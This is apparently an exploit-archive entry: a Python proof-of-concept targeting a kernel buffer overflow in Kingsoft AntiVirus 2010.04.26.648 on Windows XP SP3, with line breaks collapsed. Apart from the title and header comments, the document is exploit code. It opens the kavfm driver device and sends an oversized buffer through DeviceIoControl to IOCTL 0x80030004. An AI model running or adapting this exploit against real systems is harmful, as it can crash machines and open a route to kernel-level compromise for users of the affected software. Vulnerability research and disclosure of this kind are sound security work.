Kingsoft AntiVirus 2010.04.26.648 – Kernel Buffer Overflow
#!/usr/bin/python ################################################################# # # Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit # Author: Lufeng Li of Neusoft Corporation # Vendor: www.duba.net # Platform: Windows XPSP3 Chinese Simplified # Tested: Kingsoft Antivirus v2010.04.26.648 # Vulnerable: Kingsoft Antivirus <=v2010.04.26.648 # Vulnerable App: http://down10b.zol.com.cn/shadu/KAV100625_DOWN_10_166.zip?key=314e0cb9ea82720d90caae96bb918009 ################################################################# # Code : from ctypes import * kernel32 = windll.kernel32 Psapi = windll.Psapi if __name__ == '__main__': GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 CREATE_ALWAYS = 0x2 DEVICE_NAME = "\\\\.\\kavfm" dwReturn = c_ulong() out_size = 1024 in_size = 1024 in_data = '' driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, CREATE_ALWAYS, 0, None) in_data=1024*'\x80' dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0x80030004, in_data,500, 0, 0,byref(dwReturn), None) |